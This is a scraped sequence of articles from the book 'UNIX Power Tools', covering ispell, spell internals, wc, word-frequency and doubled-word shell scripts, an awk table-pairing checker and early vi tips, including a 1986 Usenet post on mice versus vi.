Type A to accept the current spelling, now and for the rest of this input file.

I

Type I to accept the current spelling now and for the rest of this input file, and also instruct ispell to add the word to your private dictionary. By default, the private dictionary is the file .ispell_words in your home directory, but can be changed with the -p option or by setting the environment variable (6.1) WORDLIST to the name of some other file. If you work with computers, this option will come in handy, since we use so much jargon in this business! It makes a lot more sense to "teach" all those words to ispell than to keep being offered them for possible correction. (One gotcha: when specifying an alternate file, you must use an absolute pathname (1.19) or ispell will look for the file in your home directory.)

0-9

Type the digit corresponding to one of ispell's alternative suggestions to use that spelling instead. For example, if you've typed "hnadle," as I did when writing this article, ispell will offer 0: handle in the upper-left corner of your screen. Typing 0 makes the change and moves on to the next misspelling, if any.

R

Type R if none of ispell's offerings do the trick, and you want to be prompted for a replacement. Type in the new word, and the replacement is made.

L

Type L if ispell didn't make any helpful suggestions, and you're at a loss how to spell the word correctly. ispell will prompt you for a lookup string. You can use * as a wildcard character (it appears to substitute for zero or one characters); ispell will print a list of matching words from its dictionary.

Q

Type Q to quit, writing any changes made so far, but ignoring any misspellings later in the input file.

X

Type X to quit without writing any changes.

But that's not all! ispell also saves a copy of your original file with a .bak extension, just in case you regret any of your changes. (This is starting to sound like a Ginsu knife commercial!) If you don't want ispell making .bak files, invoke it with the -x option.

How about this: ispell knows about capitalization. It already knows about proper names and a lot of common acronyms - it can even handle words like "TeX" that have oddball capitalization. Speaking of TeX (43.12), it even has a special mode in which it recognizes TeX constructions. (Too bad ispell doesn't know about troff (43.13).)

For even more features, see the manual pages stored with the program on the disc.

- TOR

Previous: 29.1 The UNIX spell Command | UNIX Power Tools | Next: 29.3 How Do I Spell That Word?
29.1 The UNIX spell Command | Book Index | 29.3 How Do I Spell That Word?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.3 How Do I Spell That Word?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.2 Check Spelling Interactively with ispell Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.4 Inside spell

29.3 How Do I Spell That Word?

If you aren't sure which of two possible spellings is right, you can use the spell command with no arguments to find out. Type the name of the command, followed by a RETURN, then type the alternative spellings you are considering. Press CTRL-d (on a line by itself) to end the list. The spell command will echo back the word(s) in the list that it considers to be in error:

$ spell
misspelling
mispelling
[CTRL-d]
mispelling

You can invoke spell in this way from within vi, by typing:

:!

!spell
misspelling
mispelling
[CTRL-d]
mispelling
[Hit return to continue]

If you're using ispell (29.2), you need to add the -l option, since ispell doesn't read from standard input by default. (Even -l doesn't let ispell read from a pipe. The purpose of this option is to let you type in a list of words, just as shown above for spell; when you end the list, ispell will echo back the misspelled word, just like spell. There's no additional functionality there, except that ispell will use its local dictionaries and improved spelling rules.)

An even better way to do the same thing may be with look (27.18). With just one argument, look searches the system word file, /usr/dict/words, for words starting with the characters in that one argument. That's a good way to check spelling or find a related word:

% look help
help
helpful
helpmate

look uses its -df options automatically when it searches the word list. -d ignores any character that isn't a letter, number, space or tab; -f treats uppercase and lowercase letters the same.

- DD, JP

Previous: 29.2 Check Spelling Interactively with ispell | UNIX Power Tools | Next: 29.4 Inside spell
29.2 Check Spelling Interactively with ispell | Book Index | 29.4 Inside spell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.4 Inside spell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.3 How Do I Spell That Word? Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.5 Adding Words to ispell's Dictionary

29.4 Inside spell

[If you have ispell (29.2), there's not a whole lot of reason for using spell any more. Not only is ispell more powerful, it's a heck of a lot easier to update its spelling dictionaries. Nonetheless, we decided to include this article, because it makes clear the kinds of rules that spelling checkers go through to expand on the words in their dictionaries. -TOR\]

On many UNIX systems, the directory /usr/lib/spell contains the main program invoked by the spell command along with auxiliary programs and data files.

% ls -l /usr/lib/spell
total 888
-rwxr-xr-x   1 bin          545 Dec  9  1988 compress
-rwxr-xr-x   1 bin        16324 Dec  9  1988 hashcheck
-rwxr-xr-x   1 bin        14828 Dec  9  1988 hashmake
-rw-r--r--   1 bin        53872 Dec  9  1988 hlista
-rw-r--r--   1 bin        53840 Dec  9  1988 hlistb
-rw-r--r--   1 bin         6336 Dec  9  1988 hstop
-rw-rw-rw-   1 root      252312 Nov 27 16:24 spellhist
-rwxr-xr-x   1 bin        21634 Dec  9  1988 spellin
-rwxr-xr-x   1 bin        23428 Dec  9  1988 spellprog

On some systems, the spell command is a shell script that pipes its input through deroff -w (29.10) and sort -u (36.6) to remove formatting codes and prepare a sorted word list, one word per line. On other systems, it is a stand-alone program that does these steps internally. Two separate spelling lists are maintained, one for American usage and one for British usage (invoked with the -b option to spell). These lists, hlista and hlistb, cannot be read or updated directly. They are compressed files, compiled from a list of words represented as nine-digit hash codes. (Hash coding is a special technique used to quickly search for information.)

The main program invoked by spell is spellprog. It loads the list of hash codes from either hlista or hlistb into a table, and looks for the hash code corresponding to each word on the sorted word list. This eliminates all words (or hash codes) actually found in the spelling list. For the remaining words, spellprog tries to see if it can derive a recognizable word by performing various operations on the word stem, based on suffix and prefix rules. A few of these manipulations follow:

-y+iness +ness -y+i+less +less -y+ies -t+ce -t+cy

The new words created as a result of these manipulations will be checked once more against the spell table. However, before the stem-derivative rules are applied, the remaining words are checked against a table of hash codes built from the file hstop. The stop list contains typical misspellings that stem-derivative operations might allow to pass. For instance, the misspelled word thier would be converted into thy using the suffix rule -y+ier. The hstop file accounts for as many cases of this type of error as possible.

The final output consists of words not found in the spell list, even after the program tried to search for their stems, and words that were found in the stop list.

You can get a better sense of these rules in action by using the -v or -x option. The -v option eliminates the last lookup in the table, and produces a list of words that are not actually in the spelling list along with possible derivatives. It allows you to see which words were found as a result of stem-derivative operations, and prints the rule used. (Refer to the sample file in article 29.1.)

% spell -v sample
Alcuin
ditroff
LaserWriter
PostScript
printerr
TranScript
+out  output
+s    uses

The -x option makes spell begin at the stem-derivative stage, and prints the various attempts it makes to find the word stem of each word.

% spell -x sample
...
=into
=LaserWriter
=LaserWrite
=LaserWrit
=laserWriter
=laserWrite
=laserWrit
=output
=put
...
LaserWriter
...

The stem is preceded by an equal sign (=). At the end of the output are the words whose stem does not appear in the spell list.

One other file you should know about is spellhist. On some systems, each time you run spell, the output is appended through tee (13.9) into spellhist, in effect creating a list of all the misspelled or unrecognized words for your site. The spellhist file is something of a "garbage" file that keeps on growing. You will want to reduce it or remove it periodically. To extract useful information from this spellhist, you might use the sort and uniq -c (35.20) commands to compile a list of misspelled words or special terms that occur most frequently (see article 29.7 for a similar example). It is possible to add these words back into the basic spelling dictionary, but this is too complex a process to describe here. It's probably easier just to use a local spelling dictionary (29.1). Even better, use ispell; not only is it a more powerful spelling program, it is much easier to update the word lists it uses (29.5).

- DD from UNIX Text Processing, Hayden Books, 1987

Previous: 29.3 How Do I Spell That Word? | UNIX Power Tools | Next: 29.5 Adding Words to ispell's Dictionary
29.3 How Do I Spell That Word? | Book Index | 29.5 Adding Words to ispell's Dictionary
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.5 Adding Words to ispell's Dictionary

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.4 Inside spell Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.6 Counting Lines, Words, and Characters: wc

29.5 Adding Words to ispell's Dictionary

ispell (29.2) uses two lists for spelling verification: a master wordlist and a supplemental personal wordlist.

The master wordlist for ispell is normally the file /usr/local/lib/ispell/ispell.hash. This is a "hashed" dictionary file. That is, it has been converted to a condensed, program-readable form using the buildhash program (which comes with ispell), to speed the spell-checking process.

The personal wordlist is normally a file called .ispell_words in your home directory. (You can override this default with either the -p command-line option or the WORDLIST environment variable (6.1).) This file is simply a list of words, one per line, so you can readily edit it to add, alter, or remove entries. The personal wordlist is normally used in addition to the master wordlist, so if a word usage is permitted by either list it is not flagged by ispell.

Custom personal wordlists are particularly useful for checking documents that use jargon, or special technical words that are not in the master wordlist, and for personal needs such as holding the names of your correspondents. You may choose to keep more than one custom wordlist, to meet various special requirements.

You can add to your personal wordlist any time you use ispell: simply use the I command to tell ispell that the word it offered as a misspelling is actually correct, and should be added to the dictionary. You can also add a list of words from a file using the ispell -a option. The words must be one to a line, but need not be sorted. Each word to be added must be preceded with an asterisk. (Why? Because ispell -a has other functions as well.) So, for example, we could have added a list of UNIX utility names to our personal dictionaries all at once, rather than one by one as they were encountered during spell-checking.

Obviously, though, in an environment where many people are working with the same set of technical terms, it doesn't make sense for each individual to add the same word list to his or her own private .ispell_words file. It would make far more sense for a group to agree on a common dictionary for specialized terms and always to set WORDLIST to point to that common dictionary.

If the private wordlist gets too long, you can create a "munched" wordlist. The munchlist script that comes with ispell reduces the names in a wordlist to a set of word roots and permitted suffixes according to rules described in the ispell(4) reference page that will be installed with ispell from the CD-ROM. This creates a more compact but still editable wordlist.

Another option is to provide an alternative master spelling list using the -d option. This has two problems, though:

  1. The master spelling list should include spellings that are always valid, regardless of context. You do not want to overload your master wordlist with terms that might be misspellings in a different context. For example, perl is a powerful programming language, but in other contexts, perl might be a misspelling of pearl. You may want to place perl in a supplemental wordlist when documenting UNIX utilities, but probably wouldn't want it in the master wordlist unless you are documenting UNIX utilities most of the time that you use ispell.

  2. The -d option must point to a hashed dictionary file. This is a large file and time-consuming to build. What's more, you cannot edit a hashed dictionary; you will have to edit a master word list and use (or have the system administrator use) buildhash to hash the new dictionary to optimize spelling checker performance.

To build a new hashed wordlist, provide buildhash with a complete list of the words you want included, one per line. (The buildhash utility can only process a raw wordlist, not a munched wordlist.) The standard system wordlist, /usr/dict/words on many systems, can provide a good starting point. This file is writeable only by the system administrator, and probably shouldn't be changed in any case. So make a copy of this file, and edit or add to the copy. After processing the file with buildhash, you can either replace the default ispell.hash file, or point to your new hashed file with the -d option.

- TOR, LK

Previous: 29.4 Inside spell | UNIX Power Tools | Next: 29.6 Counting Lines, Words, and Characters: wc
29.4 Inside spell | Book Index | 29.6 Counting Lines, Words, and Characters: wc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.6 Counting Lines, Words, and Characters: wc

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.5 Adding Words to ispell's Dictionary Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.7 Count How Many Times Each Word Is Used

29.6 Counting Lines, Words, and Characters: wc

The wc (word count) command counts the number of lines, words, and characters in the files you specify. (Like most UNIX utilities (1.30), wc reads from its standard input if you don't specify a filename.) For example, the file letter has 120 lines, 734 words, and 4297 characters:

% wc letter
     120     734    4297 letter

You can restrict what is counted by specifying the options -l (count lines only), -w (count words only), and -c (count characters only). For example, you can count the number of lines in a file:

% wc -l letter
     120 letter

or you can count the number of files in a directory:

% cd man_pages
% ls | wc -w
     233

The first example uses a file as input; the second example pipes the output of an ls command to the input of wc. (Be aware that the -a option (16.11) makes ls list dot files. If your ls command is aliased (10.2) to include -a or other options that add words to the normal output - such as the line total nnn from ls -l-then you may not get the results you want.)

The fact that you can pipe the output of a command through wc lets you use wc to perform addition and subtraction. For example, I once wrote a shell script that involved, among other things, splitting files into several pieces, and I needed the script to keep track of how many files were created. (The script ran csplit (35.10) on each file, producing an arbitrary number of new files named file.00, file.01, file.02, etc.) Here's the code I used to solve this problem:

`...`

expr
before=`ls $file* | wc -l`              # count the file
   split the file by running it through csplit
after=`ls $file* | wc -l`               # count file plus new splits
num_files=`expr $after - $before`       # evaluate the difference

As another trick, the following command will tell you how many more words are in new.file than in old.file:

% expr `wc -w < new.file`    -    `wc -w < old.file`

[The C and Korn shells have built-in arithmetic commands and don't really need expr-but expr works in all shells. -JP ]

Notice that you should have wc read the input files by using a < character. If instead you say:

% expr `wc -w new.file` - `wc -w old.file`

the filenames will show up in the expressions and produce a syntax error. [1]

[1] You could also type cat new.file | wc -w, but this involves two commands, so it's less efficient (13.2).

count.it
Taking this concept further, here's a simple shell script to calculate the differences in word count between two files:

echo

count_1=`wc -w < $1`   # number of words in file 1
count_2=`wc -w < $2`   # number of words in file 2

diff_12=`expr $count_1 - $count_2`   # difference in word count

# if $diff_12 is negative, reverse order and don't show the minus sign:
case "$diff_12" in
-*) echo "$2 has `expr $diff_12 : '-\(.*\)'` more words than $1" ;;
*)  echo "$1 has $diff_12 more words than $2" ;;
esac

If this script were called count.it, then you could invoke it like this:

% count.it draft.2 draft.1
draft.1 has 23 more words than draft.2

You could modify this script to count lines or characters.

NOTE: Unless the counts are very large, the output of wc will have leading spaces. This can cause trouble in scripts if you aren't careful. For instance, in the script above, the command:

echo "$1 has $count_1 words"

might print:

draft.2 has       79 words

See the extra spaces? Understanding how the shell handles quoting (8.14) will help here. If you can, let the shell read the wc output and remove extra spaces. For example, without quotes, the shell passes four separate words to echo-and echo adds a single space between each word:

echo $1 has $count_1 words

that might print:

draft.2 has 79 words

That's especially important to understand when you use wc with commands like test or expr which don't expect spaces in their arguments. If you can't use the shell to strip out the spaces, delete them by piping the wc output through tr -d ' ' (35.11).

Finally, two notes about file size:

  • wc -c isn't an efficient way to count the characters in large numbers of files. wc opens and reads each file, which takes time. The fourth or fifth column of output from ls -l (depending on your version) gives the character count without opening the file. You can sum ls -l counts for multiple files with the addup (49.7) command. For example:

    % ls -l files | addup 4
670518

  • Using character counts (as in the item above) doesn't give you the total disk space used by files. That's because, in general, each file takes at least one disk block to store. The du (24.9) command gives accurate disk usage.

- DG, JP

Previous: 29.5 Adding Words to ispell's Dictionary | UNIX Power Tools | Next: 29.7 Count How Many Times Each Word Is Used
29.5 Adding Words to ispell's Dictionary | Book Index | 29.7 Count How Many Times Each Word Is Used
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.7 Count How Many Times Each Word Is Used

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.6 Counting Lines, Words, and Characters: wc Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.8 Find a a Doubled Word

29.7 Count How Many Times Each Word Is Used

wordfreq
 The wordfreq script counts the number of occurrences of each word in its input. If you give it files, it reads from them; otherwise it reads standard input. The -i option folds uppercase into lowercase (uppercase letters will count the same as lowercase).

Here's this book's Preface run through wordfreq:

% wordfreq ch00
 141 the
  98 to
  84 and
  84 of
  71 a
  55 in
  44 that
  38 book
  32 we
  ...

The script was taken from a long-ago Usenet (1.33) posting by Carl Brandauer. Here is Carl's original script (with a few small edits):

tr

sort
uniq

-4
cat $* |   # tr reads the standard input
tr "[A-Z]" "[a-z]" |   # Convert all uppercase to lowercase
tr -cs "a-z'" "\012" |   # replace all characters not a-z or '
   # with a new line. i.e. one word per line
sort |   # uniq expects sorted input
uniq -c |   # Count number of times each word appears
sort +0nr +1d |   # Sort first from most to least frequent,
   # then alphabetically
pr -w80 -4 -h "Concordance for $*"     # Print in four columns

The version on the disc is somewhat different. It adjusts the tr commands for the script's -i option. The disc version also doesn't use pr to make output in four columns, though you can add that to your copy of the script - or just pipe the wordfreq output through pr on the command line when you need it.

The second tr command above (with the -cs options) is for the Berkeley version of tr. For System V tr, the command should be:

tr -cs "[a-z]'" "[\012*]"

If you aren't sure which version of tr you have, see article 35.11. You could use deroff (29.10) instead.

One of the beauties of a simple script like this is that you can tweak it if you don't like the way it counts. For example, if you want hyphenated words like copy-editor to count as one, add a hyphen to the tr -cs expression: "[a-z]'-" (System V) or "-a-z'" (Berkeley).

- JP, TOR

Previous: 29.6 Counting Lines, Words, and Characters: wc | UNIX Power Tools | Next: 29.8 Find a a Doubled Word
29.6 Counting Lines, Words, and Characters: wc | Book Index | 29.8 Find a a Doubled Word
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.8 Find a a Doubled Word

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.7 Count How Many Times Each Word Is Used Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.9 Looking for Closure

29.8 Find a a Doubled Word

sh_init
csh_init
One type of error that's hard to catch when proofreading is a doubled word. It's hard to miss the double "a" in the title of this article, but you might find yourself from time to time with a "the" on the end of one line and the beginning of another.

We've seen awk scripts to catch this, but nothing so simple as this shell function. Here are two versions; the second is for the System V version of tr (35.11):

uniq

ww() { cat $* | tr -cs "a-z'" "\012" | uniq -d; }

ww() { cat $* | tr -cs "[a-z]'" "[\012*]" | uniq -d; }

- TOR, JP

Previous: 29.7 Count How Many Times Each Word Is Used | UNIX Power Tools | Next: 29.9 Looking for Closure
29.7 Count How Many Times Each Word Is Used | Book Index | 29.9 Looking for Closure
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.9 Looking for Closure

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.8 Find a a Doubled Word Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.10 Just the Words, Please

29.9 Looking for Closure

A common problem in text processing is making sure that items that need to occur in pairs actually do so.

Most UNIX text editors include support for making sure that elements of C syntax such as parentheses and braces are closed properly. There's much less support for making sure that textual documents, such as troff (43.13) source files, have the proper structure. For example, tables must start with a .TS macro, and end with .TE. HTML documents that start a list with <UL> need a closing </UL>.

UNIX provides a number of tools that might help you to tackle this problem. Here's a shell script written by Dale Dougherty that uses awk to make sure that .TS and .TE macros come in pairs:

gawk

#! /usr/local/bin/gawk -f
BEGIN {
    inTable = 0
    TSlineno = 0
    TElineno = 0
    prevFile = ""
}
# check for unclosed table in first file, when more than one file
FILENAME != prevFile {
    if (inTable)
     printf ("%s: found .TS at File %s: %d without .TE before end of file\n",
            $0, prevFile, TSlineno)
    inTable = 0
    prevFile = FILENAME
}
# match TS and see if we are in Table
/^/.TS/ {
    if (inTable) {
        printf("%s: nested starts, File %s: line %d and %d\n",
            $0, FILENAME, TSlineno, FNR)
        }
    inTable = 1
    TSlineno = FNR
}
/^/.TE/ {
    if (! inTable)
        printf("%s: too many ends, File %s: line %d and %d\n",
            $0, FILENAME, TElineno, FNR)
    else
        inTable = 0
    TElineno = FNR
}
# this catches end of input
END {
    if (inTable)
        printf ("found .TS at File %s: %d without .TE before end of file\n",
            FILENAME, TSlineno)
}

You can adapt this type of script for any place you need to check for something that has a start and finish.

A more complete syntax checking program could be written with the help of a lexical analyzer like lex. lex is normally used by experienced C programmers, but it can be used profitably by someone who has mastered awk and is just beginning with C, since it combines an awk-like pattern-matching process using regular expression syntax, with actions written in the more powerful and flexible C language. (See O'Reilly & Associates' lex & yacc.)

And of course, this kind of problem could be very easily tackled in perl (37.1).

- TOR

Previous: 29.8 Find a a Doubled Word | UNIX Power Tools | Next: 29.10 Just the Words, Please
29.8 Find a a Doubled Word | Book Index | 29.10 Just the Words, Please
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.10 Just the Words, Please

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.9 Looking for Closure Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: V. Text Editing

29.10 Just the Words, Please

In various kinds of textual analysis scripts, you sometimes need just the words (29.8).

I know two ways to do this. The deroff command was designed to strip out troff (43.13) constructs and punctuation from files. The command deroff -w will give you a list of just the words in a document; pipe to sort -u (36.6) if you want only one of each.

deroff has one major failing, though. It only considers a word to be a string of characters beginning with a letter of the alphabet. A single character won't do, which leaves out one-letter words like the indefinite article "A."

A substitute is tr (35.11), which can perform various kinds of character-by-character conversions.

To produce a list of all the individual words in a file, type:

<
% tr -cs A-Za-z '\012' < file

The -c option "complements" the first string passed to tr; -s squeezes out repeated characters. This has the effect of saying: "Take any non-alphabetic characters you find (one or more) and convert them to newlines (\012)."

(Wouldn't it be nice if tr just recognized standard UNIX regular expression syntax (26.4)? Then, instead of -c A-Za-z, you'd say '[^A-Za-z]'. It's not any less obscure, but at least it's used by other programs, so there's one less thing to learn.)

The System V version of tr (35.11) has slightly different syntax. You'd get the same effect with:

% tr -cs '[A-Z][a-z]' '[\012*]' < file

- TOR

Previous: 29.9 Looking for Closure | UNIX Power Tools | Next: V. Text Editing
29.9 Looking for Closure | Book Index | V. Text Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] vi Tips and Tricks

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: V. Text Editing Chapter 30 Next: 30.2 What We Cover

30. vi Tips and Tricks

Contents:
The vi and ex Editors: Why So Much Material?
What We Cover
Mice vs. vi
Editing Multiple Files with vi
Edits Between Files
Local Settings for vi and ex
Using Buffers to Move or Copy Text
Get Back What You Deleted with Numbered Buffers
Using Search Patterns and Global Commands
Confirming Substitutions in ex and vi
Keep Your Original File, Write to a New File
Saving Part of a File
Appending to an Existing File
Moving Blocks of Text by Patterns
Useful Global Commands (with Pattern Matches)
Counting Occurrences; Stopping Search Wraps
Capitalizing Every Word on a Line
Setting vi Options Automatically for Individual Files
Modelines: Bug or Feature?
Multiple Editor Setup Files; Starting with a Search
Per File Setups in Separate Files
Filtering Text Through a UNIX Command
Safer vi Filter-Throughs
vi/ex File Recovery vs. Networked Filesystems
vi -r May not Write Recovered Buffer When You Exit
Shell Escapes: Running One UNIX Command While Using Another
vi Compound Searches
Keep Track of Functions and Included Files with ctags and tags
Setting Multiple tags Files
vi Outsmarts Dual-Function Function Keys
vi Word Abbreviation
Using vi Abbreviations as Commands (Cut and Paste Between vi's)
Fixing Typos with vi Abbreviations
vi Line Commands vs. Character Commands
Out of Temporary Space? Use Another Directory
The ex Open Mode Can Be Handy
Neatening Lines
Finding Your Place with Undo

30.1 The vi and ex Editors: Why So Much Material?

We're giving a lot of pages to the vi editor. People who use another editor, like Emacs, might wonder why. Here's why.

I've watched people (including myself) learn and use vi for 15 years. It's the standard editor that comes with almost every UNIX system these days, but most people have no idea that vi can do so much. People are surprised, over and over, when I show them features that their editor has. Even with its warts, vi is a Power Tool. If you work with files, you probably use it constantly. Knowing how to use it well will save you lots of time and work.

But why not give the same coverage to another editor that lots of people use: GNU Emacs (32.1)? That's because GNU Emacs comes with source code and can be extended by writing LISP code. Its commands have descriptive names that you can understand by reading through a list. vi's commands are usually no more than a few characters long; many of the option names are short and not too descriptive either. Lots of UNIX systems don't even have vi source code these days.

I hope that you vi users will learn a lot in this section, and that people who don't use vi will at least browse through to see some of vi's less obvious features.

- JP

Previous: V. Text Editing | UNIX Power Tools | Next: 30.2 What We Cover
V. Text Editing | Book Index | 30.2 What We Cover
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.2 What We Cover

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.1 The vi and ex Editors: Why So Much Material? Chapter 30
vi Tips and Tricks 		Next: 30.3 Mice vs. vi

30.2 What We Cover

The articles in this chapter show you how to get the most for your money from vi and ex. If you've been using vi for a while, you may already know a lot of these things - but take a quick look at this list of topics to see if there's anything new to you:

  • Travel between files, save text into buffers, and move it around without leaving vi: articles 30.4, 30.5, and 30.7.

  • Recover deletions from up to nine numbered buffers: article 30.8.

  • Do global search and replacement with pattern matching: articles 30.9, 30.14, 30.15, 30.17, and 30.27.

  • Save a lot of typing with word abbreviations: articles 30.31, 30.32, and 30.33.

  • "Prettify" lines of text that don't fit on the screen the way you want them to: article 30.37.

  • Run other UNIX commands without leaving vi (called a filter-through): articles 30.22, 30.23, and 30.26.

  • Keep track of functions and included files with ctags and tags: articles 30.28 and 30.29.

  • Change your vi and ex options in your .exrc file for all files or just for files in a local directory: articles 30.6 and 30.18.

When you type a : (colon) command in vi, you're beginning an ex command. There's more information about ex in a later chapter: articles 33.3, 33.4, and 33.5.

- EK

Previous: 30.1 The vi and ex Editors: Why So Much Material? | UNIX Power Tools | Next: 30.3 Mice vs. vi
30.1 The vi and ex Editors: Why So Much Material? | Book Index | 30.3 Mice vs. vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.3 Mice vs. vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.2 What We Cover Chapter 30
vi Tips and Tricks 		Next: 30.4 Editing Multiple Files with vi

30.3 Mice vs. vi

[This article is taken from a posting on Usenet (1.33). Those of you who aren't familiar with Usenet might not know that people who post replies to articles by others often include sections of the previous postings to which they are replying. These included sections are "quoted" by preceding them with >. Sometimes, as in this article, you'll see a quote within a quote, indicated by >>. Here, the original posting was from John Bruner (>>). Pierce Wetter (>) replied to John. Chris Torek then replied to Pierce, including some of John's original posting. Chris later called this article "largely religious flamage"-an argument based largely on opinion rather than fact, with no real resolution possible. But I think it has some important points to make about editors like vi: an editor that requires a mouse is not always fastest or best for the job. Besides, flames are fun to read. :-)-JP]

From: Chris Torek <chris%umcp-cs.uucp@BRL.ARPA>
Subject: Re: Porting UNIX Applications to the Mac
Date: 16 Sep 86 09:02:17 GMT
To: info-unix@brl-sem.arpa
>In article <15372@mordor.ARPA> jdb@mordor.UUCP (John Bruner) writes:
>>I am far more productive with "vi" on UNIX than with any of
>>the mouse-based editors I've run across on the Mac.
In article <981@cit-vax.Caltech.Edu> wetter@tybalt.caltech.edu.UUCP
(Pierce T. Wetter) responds:
[much laughter]
>Considering my experiences ... this is the most hilarious thing I've
>ever heard. When I'm programming the thing I do most often is move
>around in the file. You can't tell me that pointing and clicking
>with the mouse isn't faster then banging away on random cursor keys.

Yes I can, and yes it is - for me. If it is not for you, fine. (To expound a bit, I do not "bang away on random cursor keys." If I want to get three lines down from the middle of the screen, to the end of the seventh word, I might type Mjjj7E. I can type that sequence in about a half-second. When I use a Sun, it typically takes me about four seconds to find the mouse, point, click, and find the keyboard again.)

>It's true that you can go directly to a specific line number but
>you can't easily go up five lines and over twenty characters.

5k20l took about a second. The real problem with this is converting a visual representation to a number of characters. It is an acquired skill, as is using a mouse.

>a mouse based editor is much easier to cut & paste in (which
>if you looked at code I've written you'll know why I like this -
>"Who needs a for next loop I'll just paste it in five times")

That depends on a number of things. I do indeed use the Sun mouse for this at times, whenever I think it will be faster or easier.

>, you need to move your hands away from the "home row" whenever you
>hit the escape key or any other "control key."

I do not. I do need to move my hands significantly to use the mouse.

>The mouse isn't any worse (unless you have an infinite typing speed).

>However, there is one small thing I should mention, I'm using a trackball
>instead of a mouse ...

Actually, I would like to have a keyboard, a mouse, a trackball, a light pen, a bitpad, a touch screen, an eye tracker, and voice input, and be able to choose among these as I wish. Indeed, I think the only reasonable approach is to program for a virtual input device, and allow the connection of just about anything.

>Nuff Said

Indeed.

- CT in net.unix on Usenet, 16 September 1986

Previous: 30.2 What We Cover | UNIX Power Tools | Next: 30.4 Editing Multiple Files with vi
30.2 What We Cover | Book Index | 30.4 Editing Multiple Files with vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 30] 30.4 Editing Multiple Files with vi

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 30.3 Mice vs. vi Chapter 30
vi Tips and Tricks 		Next: 30.5 Edits Between Files

30.4 Editing Multiple Files with vi

ex commands enable you to switch between multiple files. The advantage is speed. When you are sharing the system with other users, it takes time to exit and re-enter vi for each file you want to edit. Staying in the same editing session and traveling between files is not only faster for access, but you also save abbreviations and command sequences that you have defined, and you keep yank buffers (30.5) so that you can copy text from one file to another.

When you first invoke vi, you can name more than one file to edit, and then use ex commands to travel between the files:

% vi file1 file2

This edits file1 first. After you have finished editing the first file, the ex command :w writes (saves) file1 and :n calls in the next file (file2). You can even say vi * to edit all the files in a directory. Type CTRL-g or :f to get the name of your current file; :args lists all filenames from the command line and puts brackets around the [current] file.

You can also switch at any time to another file that you didn't specify on the command line with the ex command :e. If you want to edit another file within vi, you first need to save your current file (:w), then you can type the following command:

:e filename

vi "remembers" two filenames at a time as the current and alternate filenames. These can be referred to by the symbols % (current filename) and # (alternate filename).

# is particularly useful with :e, since it allows you to switch easily back and forth between two files. The command :e# is always "switch to the other one." (On some systems, the vi command CTRL-^ (control-caret) is a synonym for :e#.)

If you have not first saved the current file, vi will not allow you to switch files with :e or :n unless you tell it imperatively to do so by adding an exclamation point after the command.

The command:

:e!

is also useful. It discards your edits and returns to the last saved version of the current file.

In contrast to the # symbol, % is useful mainly when writing out the contents of the current buffer to a new file. For example, you could save a second version of the file letter with the command:

:w %.new

instead of:

:w letter.new

- LL from O'Reilly & Associates' Learning the vi Editor, Chapter 5

Previous: 30.3 Mice vs. vi | UNIX Power Tools | Next: 30.5 Edits Between Files
30.3 Mice vs. vi | Book Index | 30.5 Edits Between Files
